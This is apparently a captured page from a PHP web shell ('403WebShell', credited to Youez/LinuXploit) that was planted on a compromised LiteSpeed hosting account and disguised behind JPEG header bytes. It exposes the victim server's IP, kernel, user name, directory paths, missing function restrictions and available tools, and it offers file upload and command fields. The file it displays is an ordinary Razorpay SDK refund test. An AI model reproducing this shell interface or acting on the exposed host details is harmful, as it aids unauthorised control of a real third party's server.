����JFIF��x�x����'403WebShell
403Webshell
Server IP : 66.29.137.217  /  Your IP : 18.222.32.191
Web Server : LiteSpeed
System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : gltevjme ( 1095)
PHP Version : 7.0.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/gltevjme/bofirm.gltechlimited.com/vendor/razorpay/razorpay/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/gltevjme/bofirm.gltechlimited.com/vendor/razorpay/razorpay/tests/RefundTest.php
<?php

namespace Razorpay\Tests;

use Razorpay\Api\Request;

class RefundTest extends TestCase
{
    /**
     * Specify unique payment id & refund id
     * for example pay_LatkcPaGiDxgRG & rfnd_IEjzeVghAS4vd1
     */

    private $paymentId = "pay_LatkcPaGiDxgRG";

    private $refundId = "rfnd_Lcsb6JNwQVAtpi";

    public function setUp(): void
    {
        parent::setUp();
    }
    
    /**
     * Create an instant refund
     */
    public function testCreateRefund()
    {
       $data = $this->api->payment->fetch($this->paymentId)->refund(array("amount"=> "100", "speed"=>"optimum", "receipt"=>"Receipt No. ".time()));

        $this->assertTrue(is_array($data->toArray()));

        $this->assertTrue(in_array('refund',$data->toArray()));
    }


    /**
     * Fetch multiple refunds for a payment
     */
    public function testFetchMultipalRefund()
    {
        $data = $this->api->payment->fetch($this->paymentId)->fetchMultipleRefund(array("count"=>1));

        $this->assertTrue(is_array($data->toArray()));

        $this->assertTrue(is_array($data['items']));
    }

    /**
     * Fetch a specific refund for a payment
     */
    public function testFetchRefund()
    {
        $data = $this->api->payment->fetch($this->paymentId)->fetchRefund($this->refundId);

        $this->assertTrue(is_array($data->toArray()));
      
    }

    /**
     * Fetch all refunds
     */
    public function testFetchAllRefund()
    {
        $data = $this->api->refund->all(array("count"=>1));

        $this->assertTrue(is_array($data->toArray()));

        $this->assertTrue(is_array($data['items']));
    }

    /**
     * Fetch particular refund
     */
    public function testParticularRefund()
    {
        $data = $this->api->refund->fetch($this->refundId);

        $this->assertTrue(is_array($data->toArray()));

        $this->assertTrue(in_array('refund',$data->toArray()));
    }
    
    /**
     * Update the refund
     */
    public function testUpdateRefund()
    {
        $data = $this->api->refund->fetch($this->refundId)->edit(array('notes'=> array('notes_key_1'=>'Beam me up Scotty.', 'notes_key_2'=>'Engage')));
        
        $this->assertTrue(is_array($data->toArray()));

        $this->assertTrue(in_array('refund',$data->toArray()));
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit